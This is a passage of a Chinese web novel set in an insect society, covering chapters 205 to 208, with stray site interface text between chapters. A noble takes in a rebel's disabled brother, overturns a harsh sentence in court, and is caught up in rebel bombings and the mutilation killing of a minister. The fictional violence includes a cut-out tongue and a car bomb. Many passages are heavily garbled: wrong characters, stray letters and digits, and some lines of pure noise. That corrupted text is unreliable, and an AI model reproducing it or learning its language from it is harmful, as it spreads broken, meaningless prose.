“雄父,我现在还不累,听说缇宁已经转回了帝都的中心医院进行救治,不如我去看看他吧?” 厄兰说这句话的时候眉心微蹙,展露出了自己对堤宁最深切的担忧,然而细看眼底却藏着毒蛇般危险的笑意,右手甚至无意识摸向了腰间的配枪。妈的,他一定要弄死缇宁那个狗杂种。 205--214 205、琉恩 “探病的事不急,回家再说。” 维多秘书长淡淡开口,直接拒绝了。他对厄兰和缇宁之间的恩怨并非无所知,虽然这门婚事可以作罢,但缇宁如果不明不白死在医院,带来的麻烦恐怕会比退婚更难收场。 厄兰闻言微不可察顿但在雄父暗含警告的目光下还是缓缓松开了腰问的配枪,他顺从点头,浸不经心拨弄了一下袖扣,语气难掩惋惜“行,那就回家.” 他一向很“听话”的。 悬浮车怕无声总滑入繁华交组的件道,怡好看见全启投影/在坡璃幕墙上游七,的蓝色的光晕打落在厄兰上,将他的车切害与成明赔交的碎片,远处摩天大楼数加同柄金属利剑宗钻灰色的云层在灯彩下泛着无九机质的令光 离开这么久,帝部都依日固执维持着它做慢的模样—繁华冰冷、一成不变,连空气里浮动的金钱气息都和记忆中分毫不差。 厄兰睨着舷窗外的景象,不知在想些什么,片刻后才轻阖眼眸,悚赖陷入座椅中。”雄父“ 他冷不出声 “您知道四年前那桩有关秘金失踪的案子吗?” 维多秘书长原本正坐在前排用光脑处理公务,闻言指尖微不可察顿随即又恢复正常:“怎么忽然问这个?” 他状似随意地关团光脑,目光却不着痕迹透过后视镜打量着厄兰,在他的记忆里,这个孩子向来只对拍卖行的稀有宝石感兴趣,那些闪耀却空洞的客侈品才是厄兰的世界。 “没什么,问问而已。” 厄兰调整了一下坐姿,裤子布料和真皮座椅摩擦发出轻微的声响,他微微歪头,忽然想到了什么事, “对了,你们之前不是想给我找点正事做吗,我对律法院还挺感兴趣的,您觉得呢?” “律法院?”维多秘书长用指尖轻推了一下金丝眼镜边缘,“你之前不是还嫌那里的制服太死板难看了吗?” 审美总是会变的。厄兰笑了一T仍加我现在突然发现审判庭比拍卖行有意思的多,过两天帮我安排个有分量的位查吧,大低的不要。 维多秘书长间言还设来得及说些什么,动听风伴侣东亚声接答应了,抬手轻译了一下厄兰的后脑“好,不过最后近这Qn回你最好不要单独出门,我会把四珀暂国时词过去保护你,等部的同而控作再说 南部北部B的关系一向水火不容,但最近俨然进入了白热化状态,南方的商路封锁,北方的恐袭报复,就连最迟钝的民众都嗅到了硝烟味,光是短短三个月的时间,帝都就已经丢失了五份绝密文件。 厄兰当然不会和自己的小命过不去,闻言欣然点头同意,维多秘书长见状也不好再说什么,只能往律法院拨了个电话过去。 在这个世界。雄虫可以依靠自己的身份等级畅面无阻。更不必提厄当这种站在金字塔顶端的贵族。顶头学府的文凭,完美的眉历,尊贵的血统,他什么都不缺。唯冲缺了点负历。 但没关系,苦熬这两个字本身就与他无缘。 五天后厄兰已经穿着一身窃新的名誉检亲长制服正式坐在了律志院质楼的力公室里,阳光透过落地窗洒在他启头的金色天平勋章上,将那些繁复的暗纹得熠熠生辉,黑色的制J服让1他看起来有一种极具购骗性的稳重。“冕下,这是您要的资料。” 阿珀按照厄兰的吩咐,拿着最高权限卡去档宰室调来了当年那桩秘金宰被封存的纸质资料, 其中还句今了所右被奇址 的车名单,防水牛皮公文袋起来放在桌角,足有一座小山那么高 厄兰随手抽出份文件,发现恰好是哈斯所的档率,他一3张张认真翻看,发现甲面还有银行流水,果不其然像阿珀说的那样,对方每个月都会按时给福利院转去笔数额不菲的指款 “哗啦—” 后兰直接将用服胀长流水单抽出来。对石阳光细端详。班页在他指回鼓较作响,将“圣维安福利院几个字映得半透明, “你确定哈琉斯在帝都已经没有血亲了吗?” 阳地品首确定,下,他的文和雄交在很多年前就已经意外死亡了。因为从小在描利帐长大所以每个月都会往里面耐打笔传. 厄兰“他在哪个福利院长大?” 阿珀迟疑了一瞬“埃米迦勒庇护所?” 他话音风溶,就见厄兰手中的4K2然零蛋下移半寸,对方式色m)H联从红缘上方年聪过来,带若几分似笑非共笑的意味,心中莫名有些不安“宽T,是预说错了什么吗 “怎么会。“ 新张K在后指回发出洁形的所响,他号节分明的手指灵活吞甜册,在阳光用场量下近平运明,那长记载着相利腕院信息的5页转眼就被折成了一口墙5的班鹤。 “你的情报能力很出色,连这么琐碎的事都能记住,我前两天让你暗中盯着缇宁,他那边有什么动静?” 阿珀“综宁少将目前还在重症病房里接要治疗,期回只有一名叫海51的雄虫烦教探望里,不过自从您今天人职准法院的泊总传出去后,第七车的后的部长伊驱就忽然去了医院块望”,但是摇所页如他L1LA前的交往并不算多。“待了多久?” “十分钟左右。” “去查查伊桑离开医院后去了哪里。” 无论南部还是北部,百分之九十九L的社会秋序部都是依荒军雌来支掉的,早年06活乱造成了数不清的烈士违孤,珍贵的雄中患子倒是不愁没有领养,但雌中电子的处境明显就要槽糕许多,只自能被大批量送往福利院 圣维安福利院算是且中之一,规横虽外不算庞大但胜在收养的弧L数量较少,资能得到作相对寸平均的分配,于是当伊乘部长抵达这个略显在B的)强和1形时,很轻易就从三十多名弧L里到了自己想要女的那只虫, “他叫什么名字?” 外面的草坪正在翻修,空气中漂浮着草屑的甜味和泥士尘灰,伊桑部长用手帕掩鼻,皱眉看向独自坐在角落玩拼装积木的一只银发雌虫,轻拾了抬下巴。 院长达安是一位从战场上退下来的残疾军雌,他的目光缓缓扫过伊桑部长肩章上闪耀的军衔,眉头几不可察地皱了一下:“他叫琉恩,小时候意外撞伤了头部,智力永远停留在了四岁,如果您是来领养战争遗孤的,我建议您考虑其他更年幼的孩子,琉恩现在连基本的生 活自理都成问题。” 伊桑部长回言却蓄出一抹不后的神色,军靴在老l旧的地板上随意倔了碾“恐怕要让你失望了。院长先生,我们接到确切情报,这只雌虫涉嫌勾结北部版军。现在他必须跟我们回去接受调查 他语罢直接抬手招来两名士兵,把坐在角落乖和玩积木的疏思给带了出来,积木学中尚散落一地,把坑恩吓了一跳,他巷白的晰上还着草屑,像只受惊的免子拼命后缩,无措摆手,泪水在通红T的R目E甲打转 “不 不要抓我“ “琉恩很乖 琉恩会听话的“ “达安叔叔” 达安帐长见太后色服变,他步上前一把功惠护在身后车描5605战中本的此地下白地mk了音造。产超用L0石起局“伊R到部长、忽加自己在应些什2四1玩把足个任子而目区+几年来他的足在码科际长大的,52DmnuL890所车任什么联系伊桑部长冷笑了一声“这可不是你说了算的,给我带走。” 他语罢径直转身走出门外,掩在手帕下的唇角却一直紧抿着,难掩怒火。 缇宁这个早死早超生的真货!当初在雾牙港居然被哈疏斯三言两语就撬开嘴说出了当年秘金事件的真相,现在那个叛军头目还活着,无异于颗会随D时引爆的定K弹,严重咸胁到他们在南部的布局. 想到这甲,伊桑明冷的目光扫向被上兵押者的疏恩,少年芒白的脸应与通画组今上服长华骜不9州0的面溶惊中相似仪,要不是他压部下物彻声查哈疏斯的背景,怎么会发现这个范在福和机院的“宽外收获 但愿这个傻子就是引出那条毒蛇的最佳诱饵。 然而伊英部长明品高产得大早了,因方就在他带看音B部下市出福利后大1时。一世低调誉华的思车就把然从半空中医降客,3张5扬序在了他也1面前。 “伊桑部长,好久不见。” 车窗缓修下,蔬出旧兰I服张精政得近平完美的面容,他情胸格石车窗,修长的于指是不经心地整叩套框,这案色n0m单D笑非笑再过外回 “今天怎么这么有闲心,来福利院做慈善?” 他n2定格在伊乘身后,发有两名士兵九九h坪名但方电虽达西为正部因百不大吉,但地还是-515认出对方的面和uG起码有六为相01D E起 伊染部长的形色倡在了一瞬,显然她到口兰居然会忽然出现在这甲,他地起提宁在医院说后兰和耶名板车的关系不洁不楚,心中莫名冒出一种不样的预感,强英轴定的答道 “好久不见,厄兰冕下,我只是接到任务奉命来这家福利院调查,时间紧迫,我就先不打扰您了,告辞。” 他语害军礼95首带看部下正备匆匆离开,但受想)四兰忽然开口喊住了他们,雄中后着车窗,下巴邮着疏思被打1押的方向做0》抬,成紫色的m5眸(快掠过一丝玩味 “你们可以滚了,他留下。” 伊桑指尖一紧,语气也不由得冷了几分:“冕下,这是否不合规矩?” “嗯哼,在南部我就是规矩。” 厄兰浸不经心抬起手腕,目光落在闪烁着冷光的表盘上,仿佛在欣赏一件精致的艺术品, “三秒钟,再不走就都别走了。” 206、他回来了 在由点V05台范围内,与位血统总共的雄虫露下发生中实天疑是自导死路的行为,尽营伊最部长算不上绝质明,但这位明的政客至少懂得中时度势 只要维多秘书长天还在内阁任职,任何挑衅都等同于政治自杀。 伊磁检色难看地职者厄兰,当手表指1好划到第三1秒时t,他孟地台干示意,声音低元,从牙缝里硬生生挤出了一句话 “我们走!” 他的部B下国言如蒙大放连位收队撤离,直到品后辆车用影车尚失在视野尽头厄兰这才把目光重新投向仍呆立在原质地的0疏恩。 不知是不是因为女力时大脑受伤影响了发育,雌中的身形看起来单薄度弱,个子要比同的者矮上许多,那双与哈疏斯极其术V2n0BR墙盛满了无措与迷芒,让见识过后者凶残面的兰心中无端浮现出了一种微效妙9的感觉. 他修长的手指在膝头轻轻高敲击,难掩兴味,半晌,终于开口: “阿珀,带上来。” 阿珀间言握住方向盘的手一紧犹豫了一秒才推门下车,当他半挣手推地将坑恩塞进后座时,1雌虫已经吓得缩成了一团,明9明完做的真皮座椅足够容纳一个成年虫族弱下睡觉,他却固协身躲在角落,细看连发丝都在吓得导时斗。 达安院长迫上来的时据看见出的5就足报前这-草。他顺不得规矩小在车窗边等性急拍打石车身 宽下''''琉思足个使子,根本不可能和牧车有所勾结的)忌声您放过他吧 “嗯哼,我当然知道。” 厄兰偏头看向这名面咨回风语的役车雌,车窗外透进来的阳光给世带致的国险托所被上层微光,神情似笑非关 “但很可惜,您这里好像护不住他。” 当他最后一个字音落下的时候。车窗自动喷开起,将达安棕长惊学的血容隔绝在外。阿珀发动车悬浮车绝士而去,徒留对方呆立在扬起的埃中。 悬浮车里镇嵌的小型冰箱经常会放着一些零食,厄兰打开柜门,指尖从一排冻得冰凉的红酒瓶身上轻轻滑过,最后抽出了一盒包装精美的巧克力。 他随手解开丝带包装,从里面拿出一根5克力棒棒轴在旁边缩成免子的雌虫眼前晃了晃,刻信把声音放轻柔,后边的笑意极具取性和起性 “想吃吗?” 琉思兵头轻动,回到了15克力味的甜者。他那双采案色0B8e几乎和合疏斯模样,只不过里面盛满了单纯和无然怯性生点了点头 想 厄兰故意把棒棒糖往他鼻子上凑近了一点“那你告诉我,你叫什么名字好不好?” 琉恩很乖,就算棒棒糖近在咫尺,没得到同意也不去抢,小声吐出自己的名字“琉恩。” “乖孩子。” 厄兰轻笑,然后把巧克力递到他手中,随便从盒子里又拿出一根草莓夹心口味的“我有一个朋友,他的名字叫哈疏斯,你认识吗?” 琉恩原本在专心致志吃巧克力,闻言眼睛亮了亮,他试图告诉厄兰自己想表达的意思,一个字一个字艰难往外蹦“哈疏斯 是 琉恩的哥哥。” 他语罢仿佛是怕厄兰听不懂,又努力指了指自己:“我的 我的哥哥。” “噢~原来哈琉斯是你的哥哥呀。” 厄兰的笑意更轻柔了,他把手里那根草莓味的巧克力棒棒糖递过去,状似不经意道, “那可真是太巧了,我和你的哥哥是好朋友。” 琉恩很好哄,他看厄兰长得漂亮,又给自己吃巧克力,一脸单纯地点了点头,呆呆重复他的话:“好 朋友” “真乖。” 厄兰顺手揉了一把雌虫的头发,很是好心情地把剩下的一整盒巧克力都塞到了他怀里, “吃吧,不够还有。” 直到现在,他终于确定面前这只叫琉恩的雌虫就是哈疏斯的亲弟弟,不过当初在船上的时候,对方为什么要说自己的弟弟已经死了? 厄兰闭目,用指尖轻轻摩挲着太阳六,就在他陷入思索的时候,前座忽然传来一道带着歉意的声音 “抱歉,冕下,是我的失职,没查到哈琉斯还有一个弟弟养在福利院。” 厄兰头也不抬,轻描淡写“嗯”了一声:“你确实失职了,下不为例。” 他略思索就想明白了原因。 哈斯当初上车据任务繁田,哪里白精力码顺文个生活不能自的弟,只应连阳古养在福和院中,后面呼千不容易出升办少将,也订了一门不做的婚事,。眼石日子被要速中转机,结甲就发生了当年的秘金事件。 这四年来他自血首位加热而产亡。日子把作也下好过与三P弟带在身边,自国下加就养在这个与世色的和形步里,起码日子世供安始干描。所LG与当出故他单经死了,Bk是尽不上任回中知u的在,但危还是被伊要部长女了出来。那些利欲熏心的权贵为了保住自己的地位,什么事做不出? 8平5相地中t面fr20 mrz6wn后条45开:15 mnomnesu5,ne+1地2力 他皱眉,浅紫色的眼眸微眯起“外面怎么回事?” 阿珀迅速上视后视镜,方向盘锰地一打,悬浮车划出一道市畅的5Ⅱ业拐入侧巷,压低声音道可能是北部版又在事,他们最近在各大军事据点邮都埋位了TI72型做型炸弹。,这六地怕是中着际监就来的。 厄兰不置可否的轻哼一声。 比起南部政客那些阴脸的算计手段,北部师军的报复方式确实更加简单粗暴,一整个下午外面此起彼伏的爆炸声就设停过,据说连标志性的天育双子大档都冷能幸免。 人夜之后,后当神白些生在川的店斤里出神,他原本还在思该加n间向的峰父和单文解自己从孤L带回来了一只临生虫,却不科泰亚上格和推多秘书长忙根本无联明家,信大的住宅里只有结聘的乒级国1师在后房忙碌琉恩很好哄。 后三15方个面的场回来一地品,tniuo大5玩三。,又过保O巴冰相理的手合理在茶几上。他自白己一个一在套厅地上白惨白乐世能后办好务。不过-5的天积木搭地经她开修按体样了。后二者二1应四4在少发上一边石网新间,一边主者体e0m》,他在自时挺运地味上来会故会把是上9f0m4放年起庐/块,对方否见也不生气,而低认以真从一址花的用木小史再北出来楼一样的m上去,。胺二社他强了不止一星羊点厄兰干胎信下来和疏恩样坐在地技上,拿有一个故意逗他 叫哥哥,叫声哥母于就产把主生全给你玩。 琉恩看了他一日眼。然后继梦低头抠看手里那个只有花生大小的积大块,小声山道“等哥. 厄兰“再叫一声?” 琉恩:“哥哥。” 厄兰终于满意了,伸手把琉恩的头发择得乱七八糟,这才把的较支书递过去,对方长得和合疏斯实在大像,欺负起来总有一种做妙的成就感,虽然厄兰很壳楚他是在自助欺欺虫,换了哈疏斯过来不把他手书骨折才怪。“乖,自己玩儿去吧。” 琉恩接过站主美,抱在怀里珍惜模了两下放在旁边,然后继续低头玩积木,嘴里白言白语嘟电者什么,厄当近了才听青楚他说要给小能盖座官殿在进去,这样下而面的时模就不会像福利和院用的屋子样老是水了. ,也对,指温利院就能是什么好地方,把怕这兄弟俩从小到大都过过什么好子,毕克部5规则方佛就以了雌虫天生就要吃尽苦头,而军雌九甚。 因为有疏思在。的5B9DJ按质师书够多做了几道5斑的小点心,厄兰也没有什2吃饭一定要上京的规炬,也就任由他坐在地上一边石动画片一边吃饭,这格空荡害华的住宅倒足进得多了几分烟火气 突然屏回面整外]换。西装革庭的土播神高战重地届报看保急新间“各位级0场上好,这电是吊国所场的导师道 据本台沟10收39的新急尚。,当地力回l7947分,。北各师车成功实破量际监放》区专保系统,在制中心安置了炸弹,此次实击起造成监秋主控系统全面度,B至四个关押区共十+137回牢房的电子锁失效 厄兰原本在浸不经心搅动咖啡,却在镜头切换的瞬间僵住了动作。 画面中,警笛声刺砂长空,军方正在景急疏敢民众,号称帝都最坚固的监狱大档刻水烟态率,爆炸声此起彼仗,碎石如面点般四喊 最令虫心宁惊的是那邢些胯空而起的LBE,他们像挣脱车笼的猛禽段声所镜铐,赤黑的超翼在6烟中展开,将军方投放的助测器 击落,而负责的叛军们更是全副武装,挟持者监狱长官站在顶楼,与军方对峙。镜头仓促扫过那些戴着诡异面具的脸。 白色哭脸,红色笑脸,以及 张熟恶的银色面具。 就在画面即将切换的刹那,那个戴着银色面具的叛军突然抬头,尽管面具遮住了他的眼睛那姿态既像咸胁,又带着诡异的亲呢。 “亲爱的未婚夫,我回来了。” 207恶作剧 哈琉斯?! 厄兰见状瞳孔骤然收缩险些怀疑自己出现了幻觉,毕竟现在整个南部都在通缉他,对方怎么会忽然回到帝部,还参与了恐怖袭击 他惊疑不定地望着屏幕,拿起遥控器想要放大看看,但没想到原本趴在地毯上玩积木的琉恩看见新闻画面,眼底忽然飞快闪过一丝惊喜,高兴拍起了手: “哥哥!是哥哥!” 他指着新闻里那只带银色面具的虫,努力对厄兰组织语言:“是…哈琉斯,是哥哥!” 厄兰不可首信回头 你确定 不是吧?这都能认出来?! “嗯!” 琉恩眼睛亮晶晶地用力点头,力道大得头发丝都飞了起来“是哥哥的 面具 我认识“ 厄兰 好吧。 尽管厄兰不太想接受现实,但也不得不承认哈琉斯子像确实回来了,对方那个手势是什么意思?让自己洗干净脖子待在家里乖乖受死吗? 厄兰越退越觉得有可能毕竞自己上次要了哈疏斯通以方的性格不报复回来才怪,说不定今天的恐怖装击只是个开胃小菜下一次弹就扔到自己头上来了。 嘶这么一想待在家里还挺危险的。 后兰用及处,无喷了按脖子,深过自己品近出门1:0作有比要做好安保工作,否四惜自还要进未年工路做死了多可惜。 因为南北两部日益50的政治局势,泰亚上将和唯多秘书长化得无瑚回家,就把厄兰的安全交给了阳珀负责,要日洁早,当阳珀格者时回来送后上D951候,惊呀发现这位宽下居然起得比他还要早。 “愣着做什么,走吧。” 后三经m0了m 7Dn0由世实来日白-的烟运m08觉,4英当都是他远活1要上这0,0平位几天旅母挑子,山上组多协书长知道了前近免不了一始 横竖都是逃不掉的,与其破对方亲自请去上班,倒不如自己体面些 阿珀回神,慢丰拍应了一声是 然后打开车1坐上驾驴座发动了车子。 不知是不是因为最近北部B的恐怖袭击大过猖獗,今天开车出门的时候街上明显冷清了许多,政府加强了戒备,现在几乎每过一个路口都能看见荷枪实弹的士兵在巡逻,气每严肃而又压抑。 厄三坐在车里,姿态看仙防励意,实则一百处于警8状态,生怕下一形瓶军动会从哪个地方杀出来。所幸这一路出奇地平静,直到Im驾总总停在律志院口,预园中的奔击也未曾发生,走进力公室时,他甚至百种动后余生的错觉.“冕下。” 阿珀的声音把厄兰重新拉回现实。 这位由东亚上将亲自地选的第一军此01保书右车维有的师而者,有条不言)报者工作流程“原定今早十白的分区例会因交发情况取尚,的夜北部师年会击了屋际监就,不仅造成大规楼越放事件,所直封护存的电子档宰世全合号,所√日紧急预案,全员加班重新录入逃犯信息。” 待在力么大楼里厄兰明显放松了许多。 他湿不经心地往真皮座椅里陷了陷,双服配优雅交画,修长的指大灵活转动着一支电容笔,百无聊输口道“这种文书工作也要我亲自动手? 阿珀翻开文件确认了一下 您不需要录入,不过需要给逃卫重新拟定罪名,准确地说,您需要根据逃E的过在犯罪历史重新量刑,特别是其中有十二名5级重刑犯. 厄兰对于这种工作还是欣然接受的,毕竟对于现在的他来说,只要不暴露在外面,待在连窗户都采用军用级防弹材料的律法院大楼里也算一件不错的差事。 律法院原本设有四位资深检察长,加上他这个临时走后门塞进来的名誉检察长,刚好凑成一个审判小组。 此刻在冷气运转的会议室里,他正围坐在桌边重新进行罪名拟定,旁边还有一名文员负责将台安军传来的资料急出以供审核两名书记员用执去仪进行全程录像方便格理成庭审记录 “萨蒙,36岁,前第四军团中尉,三年前因故意伤害罪入狱,刑期十五年。案件编号AX-3097,因在雄主执行家法时失手反击,致使雄主左臂骨折,经医疗鉴定为二级伤害。” 文员说着顿了顿,从正中央的金息屏上调出补充资料,邦足-段模期的监控录像,画面中身形高大的雌中正赤禅上身跪在雄主面前,而那只雄虫正用特1成第恶报5抽打他的尚部,短短几分钟就已经皮开肉绽 根据后续调直,车发当日矿蒙的啡主曾十身过量的格神充奋剂,而形带当时正处于战后创应热四期,专家证词显示,其反击行为可能属干本的防卫,因世在用时的情成甲,不过作天配际监体超时地起西1选职了,目自的需要重新平估品州。 厄兰单手支看头,把笔帽在桌上按得顿顿,说实话,他虽然知加道南B阳的)律法很率谱,但万没到居然会离谱成这个程度,怪不得北部在这里安插了那么多探子。 十五年,等放出来都五十岁了,智目不提服只操蛋的雄中还会不会要他,光是在军B的职业生就已经切底断送了。 换了他。他也跑。谁不跑准是傻子。 赫博检察长闻言冷冷驾道“死不悔改的东西!通知治安署全境通缉,抓回来后刑期追加十年1就让这家伙在星际监狱里烂到死,用余生向虫神忏悔吧!” 会实弱阳邪往无声,根据(际形去)第137条,越位平量形标准是三到1年可这位L血间叶者0所长开口直接好了里刑上现。 品特尔检空长尺疑出声“这样会不会大重了?依北看追加七个月就差不多了,毕竟也要给他一悔过的机会。 七个月?! 赫博检察长的怒吼整个办公室都能听见,他苍老的手重重拍在复印件上,震起一片尘埃, “三年前是谁顶着十二位雄虫贵族的联名抗议给他减刑?是谁力排众议采纳了那个见鬼的战后创伤理论?现在看看他回报我们的方式——公然武践踏法律,与北部9频党为伍''''这就是你所胃的“悔过?“ 会议室内除了旧兰之91的所有中都下当而同低下了头,作为互际最高志玩最资深的格容长,林博B及越决过一百余起要车的手早已成为西法界的风向标,更何况传国(他即将据任力去言白一职此刘在还政取这位司法习4的块提出异议 就在书记官准备录入判决时,一道玩味的声音忽然打破了平静“恕我直言,赫检亲长,您的央好像大仁慈了些,难怪现在北部的叛军越来越倡源。” 厄兰唇边扬起一抹似笑非笑的弧度“要我说 直接判死刑不是更痛快吗?” 赫博检率长闻言惊讶抬头看去,去却见说话的林然是那位整个南部地位最为尊崇的雄虫冕下,他收效几分怒火,勉强维持者礼貌道 宽下,律去院的判决并非儿戏,您这样判刑是否有些过重 “过重?” 厄兰欣起眼皮看向赫博检率长、他明在笑。那,龙紫色的眼眸类人逐有无边冷意 原来您也知道什么四过重吗”那么您刚才加刑+年的判央,是想告诉所有南部雌虫—宁可战死也不要回来认罪吗?! 他的容貌与南部哪那位总揽了大半政权的秘书长极其尚似,沉着脸的时候更像,以至于冷不J发怒,口吓得整个会议室部都蝶若度蝉。就连赫博检空长也是脸色声白变幻,憋了半天吐出一个字“你 后三共四就第不等,以床长开口 但任北在1这儿运括了那么多打子,这都是年20英明些共所照。 他头也下日回时身部形名书记白的了勾前大年三地主立如会定把利法递上后三的笔头在追用十年这一行字上运格热后千班利落面了一个大的,是不经心道 不过是个当所而已,三年车挞经维压信了,对4发布公告taeD15参口的车交羊保释金就可以恢复自由。” 语罢在下面签署了自己的名字,代表即时生效。 赫博检察长猛地拍幸而起,声音因愤怒而嘶哑“冕下!您这是在公然践踏司法程序!那位尊贵的雄虫阁下遭受如此伤害,您却” “哦?” 厄兰慢条斯理地合上钢笔,金属笔帽发出清脆的“咔喏”声,轻轻挑眉:“您是指邦位注射了过量亢奋剂,用惩戒成鞭把军雌打得皮开肉绽的“受害者吗?”厄兰推开椅子仇雅起身。随手理了埋袖扣“劳烦转告那位图下下次千万不要再那么手贱了。万一遇上一位应必区56的雌君,说不定连格都会给他砍下来。 他店罢带有四珀转乌明7外走去,迈过/1描材不知起什么,回头石向林梦检察长 对了,您的年纪大了,难怪会惜率,力了退务南部地中有一天全都比于的运地,郑下的首示还是由我代芳吧,不用图气,回头记得述到15的办公室。最后一句话是对着那名书记官说的。 厄兰第二天的工作战绩堪称传奇 毕竞放眼整个司法部,能像他这样单日批词近两百份岩宗的同时,还顺带把顶头上司赫博检察长气到心脏病发作送医的,整个南音恐怕都找不出第二个。当处理完堆积如山的文件后,外面的天色已经变成了浓遇般的粘稠。 厄兰在阿f珀的护送下走出律法院大门,坐上易浮车的第一件事就是打开座椅按摩功能,心中忍不住冷冷写了一句,该死,他找份工作纯粹是为了控鱼划水,干嘛这么拼,把邦几个老家似的活都干完了。 “开车,路上别耽误。” 厄兰懒羊洋闭着眼,始终没放下警惕心,阿珀应了一声,发动车子朝看住宅驶去。但冷想到恶浮车刚驶出百米,一声响就走然划破了寂静。 “砰—!” 团巨大的血肉模期的黑影忽然要挟着劲风从天而降,浪很洞砸在车头整块当风玻璃应声爆裂,蛛网般的裂纹瞬问蔓延至力让整个车身都猛动了一瞬 厄兰猛地睁眼,瞳孔骋然收缩,就在他正前方,隔着破碎扭曲的玻璃,“吱呀—!” 刺三的厚擦声响起,阿阳珀括打万向盖急停,同时写电船拔枪推门下车。他世并和的目光过空矿旷的每道,然而只有修炎的KT%和在空气中农得化不开的血厚味,。他一边用通讯器呼叫山支据,一边后放到车窗旁,警惕为后兰叮嘱道“冕下,附近很可能有危险,我已经呼叫支援了,您待在车上千万别下来!” 米糟糕,难道是哈瑜昕?!这个念头让厄兰心中一紧,他背脊紧贴着冰凉的车门内侧,将车窗降下半边缝隙,声音压得极低,紧张询问阿珀“你是第一军的精锐对吧?打得过哈疏斯吗?“阿珀正全神贯注警戒着四周,闻言明显愣“啊?“厄兰咬牙又重复了一遍“我问你打不打得过哈疏斯?!”阿珀短暂地迟疑了一瞬,似乎在快速评估,然后不大确定的答道 应该 应该能打个三七开吧? “什么叫三七开?!” 厄兰压0的怒火瞬间被点燃,他猛地探手穿过车窗缝隙,把攥住阿珀的衣领将他近,额角青筋因愤怒而突直桃,从牙缝里硬生生挤出了一句话 他出三拳,你过头七的那种三七开吗? 作者有话说 ?显示所有文的作话 第207章恶作剧 感谢小天使们的16个霸王票、1270瓶营养液~ 交流灌水00分1别字捉虫O-1分1一块小砖O-2分1砖头一堆 打开/关闭本文嗑糖功能 嗑到了 58 ⑩ 发布负分评论消耗的月石并不会给作者。 确 欢迎您:7939883(79398835复制)「退出[我的晋江][充值][我的收藏][功能心愿单][去签到首页 古言 现言 纯爱 衍生 无CP+百合 完结分类 排行 全本包月 免费 中短篇APP反馈×O书名O作者搜索高级搜索章 上一章 目录 设置 我回来了。1 208、重逢 “呜——!” 刺耳的警笛声骤然划破夜空,将这座陷入沉睡的城市瞬回惊醒,一辆接辆的巡逻车从街头飞驰而过,猩红色的警灯急促闪烁,就像体内鼓噪不安的血液。 治安署副害长金南在接到求接信息的第一时回就驱车赶到了幸发现场,彼时伊桑部长的尸体已经被法医从车上抬了下来,冷风将他身上破碎的军服吹得起伏不定,空气中弥浸着浓厚的血腥气。 法医在地上伸手圳开伊秦部长干度n0皮检查发现平面口和下两个血的空同又开他的碱巴,血内模期片。舌头下如所诗,车级服的的Hn利刀划开,赤律的m腔上有四个7弹孔,用的动刻有一行冷虫感到毛号体热去口叉邪DE的字 【我回来了】 我回来了?什么意思?!难道凶手在向政府挑衅宣告?! 这个念头让奎南的太阳六突突直跳,他顾不上伊桑部长千疮百孔的尸体,急匆匆走向旁边那辆报废的悬浮车。 彼时厄兰正在做询问笔录,他姿态懒散地斜倚着车门,对面站着一个初出茅庐的愣头青士兵,神情严肃地询问他事情经过: “冕下,请问您最后一次见到伊桑部长是“ “昨天。”厄兰百无聊赖用鞋碾了碾地上的玻璃渣,碎片发出令虫牙酸的摩擦声。 “具体时间能回忆起来吗?” 土兵皱眉“据我所知,您昨天与伊桑部长在福利院门口发生了冲突“ 厄兰闻言突然笑了,他慢条斯理站直身形,修长的指尖扯松领带,饶有兴趣打量着这名年轻士兵,半晌后,压低声音一本正经道 “设错,是我故意撞死他的,我不仅撞飞了他的眼珠子,还在尸体上撞出了四个弹子孔,英明神武的神探,快点把我抓回去认罪伏去吧,说不定你能创造南部历史上破率速度最快的奇迹。” 士兵脸色张红,就算他再傻也听出了厄兰这是在嘲笑自己,正准备开口说些什么,后脑勺忽然挨了一巴掌,被全南署长狠狠很端到了旁边 “蠢货!给我滚去维持警戒线!谁准你在这里丢虫现眼的?!” 辛南害长教川完那各不知天高地的士兵后转身石向后兰时瞬D换了副表估,带看信恰到下处10客套与运墙,极力加出一抹来和的笑容问道“冤下.我在接到版车后的第一回就赶了过来。您没有受伤吧? 厄兰见状炎交挑眉,他重析俭回年门,屈择了弹袖口不存在的灰生“如2所见,暂D还死不了. “抱歉,这是我们治安署的失职。” 奎南署长用手帕擦了擦额头的冷汗,如果这位冕下出什么事他可真是吃不了兜看走, 我有充分的证据下疑这是足起有预单的以杀幸,并且日用把怖分子还会再地继续功手。为了他的安全者想,洁允许后专医派格桃全天保保护您,直至凶手落网。 后学间言报了预眼皮,心想京准》治安国的尾饭四?不过转念旭,旁边那三十开0D05的此公强到哪里去而目这被车也确实冷法L开7 “既然奎南署长这么热心,”厄兰慢条斯理站直身形,“那我就恭敬不如从命了。” 采宁%0而义实在过适危险,拍×环四吗,白日里的=位此与奶火E死,被五边五标的于理培合磁,下百体大在里位+0e,有种空间和感。,仿10宁会皮年先大开来成,动连105他保形三用D游魂“呼—!” 一阵凛例的寒风吹过,惠挟着还没来得及散去的血腥味。 厄兰并不确定自己会不会成力加始疏斯所的下一个目标,他口是隐临感宽略处有一双服晴在病视自己,阴鸟水令,修毒邮保爬上肾背. 奎南害长派了整整五辆警车护送厄兰回家,就连他也亲自陪同在侧,维多秘书长家的这个宝贝疙瘩万一真在他的辖区出了什么事,他确信自己的下场定会比伊桑那个倒毒蛋惨上百倍。然而车队刚刚驶离没多远,异变突生。 “轰隆!!!“ 只听一声三的管的原炸声班然从后方响起,巨大的中击力要看热良横目估道,金属放酸四处进明飞选,车以药于陷入品乱,中三的车胎享控声此起彼伏,警车在中余皮中洞兄瞬,差点失控“怎么回事?!”奎南署长惊得差点跳起来,脸色煞白.厄兰扬地回头,孔微微收缩,只见他1TNIN)房开的方向已被烈络否噬,瓷漆衣烟中天而起,将半片天际染成了血色,而爆炸中心肺然是他那辆差点被尸体砸得报废的悬浮车。他的车上被装了炸弹?!这个念头刚W在后兰脑海中闪现,车以就已经在全南害长十万火急的催促声中重新整方向加速些离,将那图》中天的火光远甩在了身后.殊不知在他们开后反多久,几道罗彩就电地报出现在附近高格的天台边螺。,他们脸上戴着样式后异的面具,居高临下俯视着些车远去的灯,衣角被冷风吹得措墙作响,赫就是星网通国今上品危险的那几个名字。“啊哈~”其中一名戴着红色笑脸面具的叛军忽然歪了歪头,抬脚踩上栏杆,语气难掩玩味“哈疏斯,你好像把你的“未婚夫吓坏了呢。”他刻意强调了“未婚夫”三个字,几乎藏不住那颗真真欲动的八卦心了。 “霍恩格,你应该庆幸我今天已经把伊桑的舌头喂了狗,现在没有割第二条的打算,否则你一定会后悔自己为什么不是哑巴。” 